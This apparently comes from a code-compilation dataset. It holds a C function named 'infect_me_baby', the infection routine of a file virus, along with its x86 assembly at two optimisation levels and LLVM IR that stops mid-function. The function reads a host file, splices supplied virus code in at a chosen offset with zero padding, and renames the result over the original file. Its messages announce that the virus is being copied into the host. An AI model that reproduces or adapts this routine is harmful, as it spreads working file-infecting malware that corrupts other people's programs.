#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int st_size;
  int /*<<< orphan*/ st_mode;
};

/* Variables and functions */
int /*<<< orphan*/ EXIT_FAILURE;
int O_CREAT;
int O_EXCL;
int O_WRONLY;
int /*<<< orphan*/ SEEK_CUR;
int /*<<< orphan*/ SEEK_SET;
int /*<<< orphan*/ errno;
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
scalar_t__ fstat(int, struct stat *);
int lseek(int, int /*<<< orphan*/, int /*<<< orphan*/);
scalar_t__ malloc(int);
int open(char *, int, int /*<<< orphan*/);
int /*<<< orphan*/ printf(char *, ...);
scalar_t__ read(int, char *, int);
scalar_t__ rename(char *, char *);
int /*<<< orphan*/ stderr;
char *strerror(int /*<<< orphan*/);
scalar_t__ write(int, ...);
void infect_me_baby(char *file, int fd, char *asm_code, int len, int offset,
                    int bss_len) {
  struct stat stat;
  char *data;
  int vir_fd, i, zero = 0;
  printf("\nInfecting host file at offset = %i\n", offset);
  if (fstat(fd, &stat) < 0) {
    fprintf(stderr,
            "__error__("
            "infect_me_baby()"
            ") : %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  };
  printf("> host file size : %i\n", stat.st_size);
  printf("> virus size : %i\n", len);
  printf("> bss_len : %i\n", bss_len);
  if ((data = (char *)malloc(stat.st_size)) == NULL) {
    fprintf(stderr,
            "__error__("
            "infect_me_baby()"
            ") : %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  };
  if (lseek(fd, 0, SEEK_SET) < 0) {
    fprintf(stderr,
            "__error__("
            "infect_me_baby()"
            ") : %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  };
  if (read(fd, data, stat.st_size) < 0) {
    fprintf(stderr,
            "__error__("
            "infect_me_baby()"
            ") : %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  };
  if ((vir_fd = open("cyneox.tmp", O_WRONLY | O_CREAT | O_EXCL, stat.st_mode)) <
      0) {
    fprintf(stderr,
            "__error__("
            "infect_me_baby()"
            ") : %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  };
  if (write(vir_fd, data, offset) < 0) {
    fprintf(stderr,
            "__error__("
            "infect_me_baby()"
            ") : %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  };
  printf("\n Yeah baby ...time for action ! --> copying virus to host file at "
         "offset : %i\n",
         lseek(vir_fd, 0, SEEK_CUR));
  for (i = 0; i < bss_len; i++)
    write(vir_fd, &zero, 1);
  if (write(vir_fd, asm_code, len) < 0) {
    fprintf(stderr,
            "__error__("
            "infect_me_baby()"
            ") : %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  };
  if (write(vir_fd, data + offset, stat.st_size - offset) < 0) {
    fprintf(stderr,
            "__error__("
            "infect_me_baby()"
            ") : %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  };
  printf("<-#-> renaming :      [ done ]");
  if (rename("cyneox.tmp", file) < 0) {
    fprintf(stderr,
            "__error__("
            "infect_me_baby()"
            ") : %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  };
  printf("\n<-#-> infection :     [ done ]\n");
}


x86 assembly (clang, -O0):
<infect_me_baby>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %ecx,-0x1c(%rbp)
mov    %r8d,-0x20(%rbp)
mov    %r9d,-0x24(%rbp)
movl   $0x0,-0x44(%rbp)
mov    -0x20(%rbp),%esi
lea    0xe21(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    -0xc(%rbp),%edi
lea    -0x30(%rbp),%rsi
call   10d0 <fstat@plt>
cmp    $0x0,%rax
jge    1236 <infect_me_baby+0x86>
mov    0x2dcd(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x48(%rbp)
mov    0x2db1(%rip),%rax
mov    (%rax),%edi
call   10c0 <strerror@plt>
mov    -0x48(%rbp),%edi
mov    %rax,%rdx
lea    0xe02(%rip),%rsi
call   1070 <fprintf@plt>
mov    0x2d81(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    -0x30(%rbp),%esi
lea    0xe07(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    -0x1c(%rbp),%esi
lea    0xe0d(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    -0x24(%rbp),%esi
lea    0xe0f(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    -0x30(%rbp),%edi
call   1080 <malloc@plt>
mov    %rax,-0x38(%rbp)
cmp    $0x0,%rax
jne    12b9 <infect_me_baby+0x109>
mov    0x2d4a(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4c(%rbp)
mov    0x2d2e(%rip),%rax
mov    (%rax),%edi
call   10c0 <strerror@plt>
mov    -0x4c(%rbp),%edi
mov    %rax,%rdx
lea    0xd7f(%rip),%rsi
call   1070 <fprintf@plt>
mov    0x2cfe(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    -0xc(%rbp),%edi
mov    0x2cf5(%rip),%rax
mov    (%rax),%edx
xor    %esi,%esi
call   1050 <lseek@plt>
cmp    $0x0,%eax
jge    130f <infect_me_baby+0x15f>
mov    0x2cf4(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x50(%rbp)
mov    0x2cd8(%rip),%rax
mov    (%rax),%edi
call   10c0 <strerror@plt>
mov    -0x50(%rbp),%edi
mov    %rax,%rdx
lea    0xd29(%rip),%rsi
call   1070 <fprintf@plt>
mov    0x2ca8(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    -0xc(%rbp),%edi
mov    -0x38(%rbp),%rsi
mov    -0x30(%rbp),%edx
call   1060 <read@plt>
cmp    $0x0,%rax
jge    1362 <infect_me_baby+0x1b2>
mov    0x2ca1(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x54(%rbp)
mov    0x2c85(%rip),%rax
mov    (%rax),%edi
call   10c0 <strerror@plt>
mov    -0x54(%rbp),%edi
mov    %rax,%rdx
lea    0xcd6(%rip),%rsi
call   1070 <fprintf@plt>
mov    0x2c55(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    0x2c37(%rip),%rax
mov    (%rax),%esi
mov    0x2c86(%rip),%rax
or     (%rax),%esi
mov    0x2c4d(%rip),%rax
or     (%rax),%esi
mov    -0x2c(%rbp),%edx
lea    0xcfa(%rip),%rdi
call   1090 <open@plt>
mov    %eax,-0x3c(%rbp)
cmp    $0x0,%eax
jge    13d2 <infect_me_baby+0x222>
mov    0x2c31(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x58(%rbp)
mov    0x2c15(%rip),%rax
mov    (%rax),%edi
call   10c0 <strerror@plt>
mov    -0x58(%rbp),%edi
mov    %rax,%rdx
lea    0xc66(%rip),%rsi
call   1070 <fprintf@plt>
mov    0x2be5(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    -0x3c(%rbp),%edi
mov    -0x38(%rbp),%rsi
mov    -0x20(%rbp),%edx
mov    $0x0,%al
call   1030 <write@plt>
cmp    $0x0,%rax
jge    1427 <infect_me_baby+0x277>
mov    0x2bdc(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x5c(%rbp)
mov    0x2bc0(%rip),%rax
mov    (%rax),%edi
call   10c0 <strerror@plt>
mov    -0x5c(%rbp),%edi
mov    %rax,%rdx
lea    0xc11(%rip),%rsi
call   1070 <fprintf@plt>
mov    0x2b90(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    -0x3c(%rbp),%edi
mov    0x2baf(%rip),%rax
mov    (%rax),%edx
xor    %esi,%esi
call   1050 <lseek@plt>
mov    %eax,%esi
lea    0xc49(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
movl   $0x0,-0x40(%rbp)
mov    -0x40(%rbp),%eax
cmp    -0x24(%rbp),%eax
jge    147e <infect_me_baby+0x2ce>
mov    -0x3c(%rbp),%edi
lea    -0x44(%rbp),%rsi
mov    $0x1,%edx
mov    $0x0,%al
call   1030 <write@plt>
mov    -0x40(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x40(%rbp)
jmp    1451 <infect_me_baby+0x2a1>
mov    -0x3c(%rbp),%edi
mov    -0x18(%rbp),%rsi
mov    -0x1c(%rbp),%edx
mov    $0x0,%al
call   1030 <write@plt>
cmp    $0x0,%rax
jge    14d3 <infect_me_baby+0x323>
mov    0x2b30(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x60(%rbp)
mov    0x2b14(%rip),%rax
mov    (%rax),%edi
call   10c0 <strerror@plt>
mov    -0x60(%rbp),%edi
mov    %rax,%rdx
lea    0xb65(%rip),%rsi
call   1070 <fprintf@plt>
mov    0x2ae4(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    -0x3c(%rbp),%edi
mov    -0x38(%rbp),%rsi
movslq -0x20(%rbp),%rax
add    %rax,%rsi
mov    -0x30(%rbp),%edx
sub    -0x20(%rbp),%edx
mov    $0x0,%al
call   1030 <write@plt>
cmp    $0x0,%rax
jge    1532 <infect_me_baby+0x382>
mov    0x2ad1(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x64(%rbp)
mov    0x2ab5(%rip),%rax
mov    (%rax),%edi
call   10c0 <strerror@plt>
mov    -0x64(%rbp),%edi
mov    %rax,%rdx
lea    0xb06(%rip),%rsi
call   1070 <fprintf@plt>
mov    0x2a85(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
lea    0xba3(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
mov    -0x8(%rbp),%rsi
lea    0xb36(%rip),%rdi
call   10a0 <rename@plt>
cmp    $0x0,%rax
jge    1594 <infect_me_baby+0x3e4>
mov    0x2a6f(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x68(%rbp)
mov    0x2a53(%rip),%rax
mov    (%rax),%edi
call   10c0 <strerror@plt>
mov    -0x68(%rbp),%edi
mov    %rax,%rdx
lea    0xaa4(%rip),%rsi
call   1070 <fprintf@plt>
mov    0x2a23(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
lea    0xb60(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
add    $0x70,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<infect_me_baby>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x28,%rsp
mov    %r9d,%ebx
mov    %r8d,%r13d
mov    %ecx,%ebp
mov    %rdx,0x20(%rsp)
mov    %esi,%r15d
mov    %rdi,0x18(%rsp)
movl   $0x0,0xc(%rsp)
lea    0xe0e(%rip),%rdi
mov    %r8d,%esi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0x10(%rsp),%rsi
mov    %r15d,%edi
call   10e0 <fstat@plt>
test   %rax,%rax
js     139c <infect_me_baby+0x1dc>
mov    0x10(%rsp),%r12d
lea    0xe29(%rip),%rdi
mov    %r12d,%esi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0xe2f(%rip),%rdi
mov    %ebp,0x8(%rsp)
mov    %ebp,%esi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0xe2e(%rip),%rdi
mov    %ebx,%esi
xor    %eax,%eax
call   1050 <printf@plt>
mov    %r12d,%edi
call   1090 <malloc@plt>
test   %rax,%rax
je     139c <infect_me_baby+0x1dc>
mov    %rax,%r14
mov    0x2d51(%rip),%rax
mov    (%rax),%edx
mov    %r15d,%edi
xor    %esi,%esi
call   1060 <lseek@plt>
test   %eax,%eax
js     139c <infect_me_baby+0x1dc>
mov    %r15d,%edi
mov    %r14,%rsi
mov    %r12d,%edx
call   1070 <read@plt>
test   %rax,%rax
js     139c <infect_me_baby+0x1dc>
mov    0x2d07(%rip),%rax
mov    0x2d58(%rip),%rcx
mov    (%rcx),%esi
or     (%rax),%esi
mov    0x2d1d(%rip),%rax
or     (%rax),%esi
mov    0x14(%rsp),%edx
lea    0xdc9(%rip),%rdi
call   10a0 <open@plt>
test   %eax,%eax
js     139c <infect_me_baby+0x1dc>
mov    %eax,%r15d
mov    %eax,%edi
mov    %r14,%rsi
mov    %r13d,%edx
xor    %eax,%eax
call   1040 <write@plt>
test   %rax,%rax
js     139c <infect_me_baby+0x1dc>
mov    0x2cf9(%rip),%rax
mov    (%rax),%edx
mov    %r15d,%edi
xor    %esi,%esi
call   1060 <lseek@plt>
lea    0xd92(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1050 <printf@plt>
test   %ebx,%ebx
jle    1327 <infect_me_baby+0x167>
lea    0xc(%rsp),%rbp
nopl   0x0(%rax)
mov    %r15d,%edi
mov    %rbp,%rsi
mov    $0x1,%edx
xor    %eax,%eax
call   1040 <write@plt>
add    $0xffffffff,%ebx
jne    1310 <infect_me_baby+0x150>
mov    %r15d,%edi
mov    0x20(%rsp),%rsi
mov    0x8(%rsp),%edx
xor    %eax,%eax
call   1040 <write@plt>
test   %rax,%rax
js     139c <infect_me_baby+0x1dc>
movslq %r13d,%rax
add    %rax,%r14
sub    %r13d,%r12d
mov    %r15d,%edi
mov    %r14,%rsi
mov    %r12d,%edx
xor    %eax,%eax
call   1040 <write@plt>
test   %rax,%rax
js     139c <infect_me_baby+0x1dc>
lea    0xd78(%rip),%rdi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0xd0f(%rip),%rdi
mov    0x18(%rsp),%rsi
call   10b0 <rename@plt>
test   %rax,%rax
js     139c <infect_me_baby+0x1dc>
lea    0xd73(%rip),%rdi
call   1030 <puts@plt>
add    $0x28,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    0x2c2d(%rip),%rax
mov    (%rax),%ebx
mov    0x2c14(%rip),%rax
mov    (%rax),%edi
call   10d0 <strerror@plt>
lea    0xc6b(%rip),%rsi
mov    %ebx,%edi
mov    %rax,%rdx
call   1080 <fprintf@plt>
mov    0x2be5(%rip),%rax
mov    (%rax),%edi
call   10c0 <exit@plt>

LLVM IR (-O0):
%struct.stat = type { i32, i32 }
@.str = [37 x i8] c"\0AInfecting host file at offset = %i\0A\00"
@stderr = global i32 0
@.str.1 = [34 x i8] c"__error__(infect_me_baby()) : %s\0A\00"
@errno = global i32 0
@EXIT_FAILURE = global i32 0
@.str.2 = [23 x i8] c"> host file size : %i\0A\00"
@.str.3 = [19 x i8] c"> virus size : %i\0A\00"
@.str.4 = [16 x i8] c"> bss_len : %i\0A\00"
@SEEK_SET = global i32 0
@.str.5 = [11 x i8] c"cyneox.tmp\00"
@O_WRONLY = global i32 0
@O_CREAT = global i32 0
@O_EXCL = global i32 0
@.str.6 = [80 x i8] c"\0A Yeah baby ...time for action ! --> copying virus to host file at offset : %i\0A\00"
@SEEK_CUR = global i32 0
@.str.7 = [31 x i8] c"<-#-> renaming : [ done ]\00"
@.str.8 = [33 x i8] c"\0A<-#-> infection : [ done ]\0A\00"
define void @infect_me_baby(i8* %0, i32 %1, i8* %2, i32 %3, i32 %4, i32 %5) {
%7 = alloca i8*
%8 = alloca i32
%9 = alloca i8*
%10 = alloca i32
%11 = alloca i32
%12 = alloca i32
%13 = alloca %struct.stat
%14 = alloca i8*
%15 = alloca i32
%16 = alloca i32
%17 = alloca i32
store i8* %0, i8** %7
store i32 %1, i32* %8
store i8* %2, i8** %9
store i32 %3, i32* %10
store i32 %4, i32* %11
store i32 %5, i32* %12
store i32 0, i32* %17
%18 = load i32, i32* %11
%19 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str, i64 0, i64 0), i32 %18)
%20 = load i32, i32* %8
%21 = call i64 @fstat(i32 %20, %struct.stat* %13)
%22 = icmp slt i64 %21, 0
br i1 %22, label %23, label %30
23: ; preds = %6
%24 = load i32, i32* @stderr
%25 = load i32, i32* @errno
%26 = call i8* @strerror(i32 %25)
%27 = call i32 @fprintf(i32 %24, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %26)
%28 = load i32, i32* @EXIT_FAILURE
%29 = call i32 @exit(i32 %28)
unreachable
30: ; preds = %6
%31 = getelementptr inbounds %struct.stat, %struct.stat* %13, i32 0, i32 0
%32 = load i32, i32* %31
%33 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.2, i64 0, i64 0), i32 %32)
%34 = load i32, i32* %10
%35 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.3, i64 0, i64 0), i32 %34)
%36 = load i32, i32* %12
%37 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.4, i64 0, i64 0), i32 %36)
%38 = getelementptr inbounds %struct.stat, %struct.stat* %13, i32 0, i32 0
%39 = load i32, i32* %38
%40 = call i64 @malloc(i32 %39)
%41 = inttoptr i64 %40 to i8*
store i8* %41, i8** %14
%42 = icmp eq i8* %41, null
br i1 %42, label %43, label %50
43: ; preds = %30
%44 = load i32, i32* @stderr
%45 = load i32, i32* @errno
%46 = call i8* @strerror(i32 %45)
%47 = call i32 @fprintf(i32 %44, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %46)
%48 = load i32, i32* @EXIT_FAILURE
%49 = call i32 @exit(i32 %48)
unreachable
50: ; preds = %30
%51 = load i32, i32* %8
%52 = load i32, i32* @SEEK_SET
%53 = call i32 @lseek(i32 %51, i32 0, i32 %52)
%54 = icmp slt i32 %53, 0
br i1 %54, label %55, label %62
55: ; preds = %50
%56 = load i32, i32* @stderr
%57 = load i32, i32* @errno
%58 = call i8* @strerror(i32 %57)
%59 = call i32 @fprintf(i32 %56, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %58)
%60 = load i32, i32* @EXIT_FAILURE
%61 = call i32 @exit(i32 %60)
unreachable
62: ; preds = %50
%63 = load i32, i32* %8
%64 = load i8*, i8** %14
%65 = getelementptr inbounds %struct.stat, %struct.stat* %13, i32 0, i32 0
%66 = load i32, i32* %65
%67 = call i64 @read(i32 %63, i8* %64, i32 %66)
%68 = icmp slt i64 %67, 0
br i1 %68, label %69, label %76
69: ; preds = %62
%70 = load i32, i32* @stderr
%71 = load i32, i32* @errno
%72 = call i8* @strerror(i32 %71)
%73 = call i32 @fprintf(i32 %70, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %72)
%74 = load i32, i32* @EXIT_FAILURE
%75 = call i32 @exit(i32 %74)
unreachable
76: ; preds = %62
%77 = load i32, i32* @O_WRONLY
%78 = load i32, i32* @O_CREAT
%79 = or i32 %77, %78
%80 = load i32, i32* @O_EXCL
%81 = or i32 %79, %80
%82 = getelementptr inbounds %struct.stat, %struct.stat* %13, i32 0, i32 1
%83 = load i32, i32* %82
%84 = call i32 @open(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.5, i64 0, i64 0), i32 %81, i32 %83)
store i32 %84, i32* %15
%85 = icmp slt i32 %84, 0
br i1 %85, label %86, label %93
86: ; preds = %76
%87 = load i32, i32* @stderr
%88 = load i32, i32* @errno
%89 = call i8* @strerror(i32 %88)
%90 = call i32 @fprintf(i32 %87, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %89)
%91 = load i32, i32* @EXIT_FAILURE
%92 = call i32 @exit(i32 %91)
unreachable
93: ; preds = %76
%94 = load i32, i32* %15
%95 = load i8*, i8** %14
%96 = load i32, i32* %11
%97 = call i64 (i32, ...) @write(i32 %94, i8* %95, i32 %96)
%98 = icmp slt i64 %97, 0
br i1 %98, label %99, label %106
99: ; preds = %93
%100 = load i32, i32* @stderr
%101 = load i32, i32* @errno
%102 = call i8* @strerror(i32 %101)
%103 = call i32 @fprintf(i32 %100, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %102)
%104 = load i32, i32* @EXIT_FAILURE
%105 = call i32 @exit(i32 %104)
unreachable
106: ; preds = %93
%107 = load i32, i32* %15
%108 = load i32, i32* @SEEK_CUR
%109 = call i32 @lseek(i32 %107, i32 0, i32 %108)
%110 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([80 x i8], [80 x i8]* @.str.6, i64 0, i64 0), i32 %109)
store i32 0, i32* %16
br label %111
111: ; preds = %118, %106
%112 = load i32, i32* %16
%113 = load i32, i32* %12
%114 = icmp slt i32 %112, %113
br i1 %114, label %115, label %121
115: ; preds = %111
%116 = load i32, i32* %15
%117 = call i64 (i32, ...) @write(i32 %116, i32* %17, i32 1)
br label %118
118: ; preds = %115
%119 = load i32, i32* %16
%120 = add nsw i32 %119, 1
store i32 %120, i32* %16
br label %111
121: ; preds = %111
%122 = load i32, i32* %15
%123 = load i8*, i8** %9
%124 = load i32, i32* %10
%125 = call i64 (i32, ...) @write(i32 %122, i8* %123, i32 %124)
%126 = icmp slt i64 %125, 0
br i1 %126, label %127, label %134
127: ; preds = %121
%128 = load i32, i32* @stderr
%129 = load i32, i32* @errno
%130 = call i8* @strerror(i32 %129)
%131 = call i32 @fprintf(i32 %128, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %130)
%132 = load i32, i32* @EXIT_FAILURE
%133 = call i32 @exit(i32 %132)
unreachable
134: ; preds = %121
%135 = load i32, i32* %15
%136 = load i8*, i8** %14
%137 = load i32, i32* %11
%138 = sext i32 %137 to i64
%139 = getelementptr inbounds i8, i8* %136, i64 %138
%140 = getelementptr inbounds %struct.stat, %struct.stat* %13, i32 0, i32 0
%141 = load i32, i32* %140
%142 = load i32, i32* %11
%143 = sub nsw i32 %141, %142
%144 = call i64 (i32, ...) @write(i32 %135, i8* %139, i32 %143)
%145 = icmp slt i64 %144, 0
br i1 %145, label %146, label %153
146: ; preds = %134
%147 = load i32, i32* @stderr
%148 = load i32, i32* @errno
%149 = call i8* @strerror(i32 %148)
%150 = call i32 @fprintf(i32 %147, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %149)
%151 = load i32, i32* @EXIT_FAILURE
%152 = call i32 @exit(i32 %151)
unreachable
153: ; preds = %134
%154 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.7, i64 0, i64 0))
%155 = load i8*, i8** %7
%156 = call i64 @rename(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.5, i64 0, i64 0), i8* %155)
%157 = icmp slt i64 %156, 0
br i1 %157, label %158, label %165
158: ; preds = %153
%159 = load i32, i32* @stderr
%160 = load i32, i32* @errno
%161 = call i8* @strerror(i32 %160)
%162 = call i32 @fprintf(i32 %159, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %161)
%163 = load i32, i32* @EXIT_FAILURE
%164 = call i32 @exit(i32 %163)
unreachable
165: ; preds = %153
%166 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.8, i64 0, i64 0))
ret void
}

LLVM IR (-O2):
%struct.stat = type { i32, i32 }
@.str = [37 x i8] c"\0AInfecting host file at offset = %i\0A\00"
@stderr = global i32 0
@.str.1 = [34 x i8] c"__error__(infect_me_baby()) : %s\0A\00"
@errno = global i32 0
@EXIT_FAILURE = global i32 0
@.str.2 = [23 x i8] c"> host file size : %i\0A\00"
@.str.3 = [19 x i8] c"> virus size : %i\0A\00"
@.str.4 = [16 x i8] c"> bss_len : %i\0A\00"
@SEEK_SET = global i32 0
@.str.5 = [11 x i8] c"cyneox.tmp\00"
@O_WRONLY = global i32 0
@O_CREAT = global i32 0
@O_EXCL = global i32 0
@.str.6 = [80 x i8] c"\0A Yeah baby ...time for action ! --> copying virus to host file at offset : %i\0A\00"
@SEEK_CUR = global i32 0
@.str.7 = [31 x i8] c"<-#-> renaming : [ done ]\00"
@str = [32 x i8] c"\0A<-#-> infection : [ done ]\00"
define void @infect_me_baby(i8* nocapture %0, i32 %1, i8* %2, i32 %3, i32 %4, i32 %5) {
%7 = alloca %struct.stat
%8 = alloca i32
%9 = bitcast %struct.stat* %7 to i8*
%10 = bitcast i32* %8 to i8*
store i32 0, i32* %8
%11 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([37 x i8], [37 x i8]* @.str, i64 0, i64 0), i32 %4)
%12 = call i64 @fstat(i32 %1, %struct.stat* %7)
%13 = icmp slt i64 %12, 0
br i1 %13, label %14, label %21
14: ; preds = %6
%15 = load i32, i32* @stderr
%16 = load i32, i32* @errno
%17 = tail call i8* @strerror(i32 %16)
%18 = tail call i32 @fprintf(i32 %15, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %17)
%19 = load i32, i32* @EXIT_FAILURE
%20 = tail call i32 @exit(i32 %19)
unreachable
21: ; preds = %6
%22 = getelementptr inbounds %struct.stat, %struct.stat* %7, i64 0, i32 0
%23 = load i32, i32* %22
%24 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @.str.2, i64 0, i64 0), i32 %23)
%25 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @.str.3, i64 0, i64 0), i32 %3)
%26 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([16 x i8], [16 x i8]* @.str.4, i64 0, i64 0), i32 %5)
%27 = tail call i64 @malloc(i32 %23)
%28 = inttoptr i64 %27 to i8*
%29 = icmp eq i64 %27, 0
br i1 %29, label %30, label %37
30: ; preds = %21
%31 = load i32, i32* @stderr
%32 = load i32, i32* @errno
%33 = tail call i8* @strerror(i32 %32)
%34 = tail call i32 @fprintf(i32 %31, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %33)
%35 = load i32, i32* @EXIT_FAILURE
%36 = tail call i32 @exit(i32 %35)
unreachable
37: ; preds = %21
%38 = load i32, i32* @SEEK_SET
%39 = tail call i32 @lseek(i32 %1, i32 0, i32 %38)
%40 = icmp slt i32 %39, 0
br i1 %40, label %41, label %48
41: ; preds = %37
%42 = load i32, i32* @stderr
%43 = load i32, i32* @errno
%44 = tail call i8* @strerror(i32 %43)
%45 = tail call i32 @fprintf(i32 %42, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %44)
%46 = load i32, i32* @EXIT_FAILURE
%47 = tail call i32 @exit(i32 %46)
unreachable
48: ; preds = %37
%49 = tail call i64 @read(i32 %1, i8* %28, i32 %23)
%50 = icmp slt i64 %49, 0
br i1 %50, label %51, label %58
51: ; preds = %48
%52 = load i32, i32* @stderr
%53 = load i32, i32* @errno
%54 = tail call i8* @strerror(i32 %53)
%55 = tail call i32 @fprintf(i32 %52, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %54)
%56 = load i32, i32* @EXIT_FAILURE
%57 = tail call i32 @exit(i32 %56)
unreachable
58: ; preds = %48
%59 = load i32, i32* @O_WRONLY
%60 = load i32, i32* @O_CREAT
%61 = or i32 %60, %59
%62 = load i32, i32* @O_EXCL
%63 = or i32 %61, %62
%64 = getelementptr inbounds %struct.stat, %struct.stat* %7, i64 0, i32 1
%65 = load i32, i32* %64
%66 = tail call i32 @open(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.5, i64 0, i64 0), i32 %63, i32 %65)
%67 = icmp slt i32 %66, 0
br i1 %67, label %68, label %75
68: ; preds = %58
%69 = load i32, i32* @stderr
%70 = load i32, i32* @errno
%71 = tail call i8* @strerror(i32 %70)
%72 = tail call i32 @fprintf(i32 %69, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %71)
%73 = load i32, i32* @EXIT_FAILURE
%74 = tail call i32 @exit(i32 %73)
unreachable
75: ; preds = %58
%76 = tail call i64 (i32, ...) @write(i32 %66, i8* %28, i32 %4)
%77 = icmp slt i64 %76, 0
br i1 %77, label %78, label %85
78: ; preds = %75
%79 = load i32, i32* @stderr
%80 = load i32, i32* @errno
%81 = tail call i8* @strerror(i32 %80)
%82 = tail call i32 @fprintf(i32 %79, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %81)
%83 = load i32, i32* @EXIT_FAILURE
%84 = tail call i32 @exit(i32 %83)
unreachable
85: ; preds = %75
%86 = load i32, i32* @SEEK_CUR
%87 = tail call i32 @lseek(i32 %66, i32 0, i32 %86)
%88 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([80 x i8], [80 x i8]* @.str.6, i64 0, i64 0), i32 %87)
%89 = icmp sgt i32 %5, 0
br i1 %89, label %90, label %95
90: ; preds = %85, %90
%91 = phi i32 [ %93, %90 ], [ 0, %85 ]
%92 = call i64 (i32, ...) @write(i32 %66, i32* %8, i32 1)
%93 = add nuw nsw i32 %91, 1
%94 = icmp eq i32 %93, %5
br i1 %94, label %95, label %90
95: ; preds = %90, %85
%96 = call i64 (i32, ...) @write(i32 %66, i8* %2, i32 %3)
%97 = icmp slt i64 %96, 0
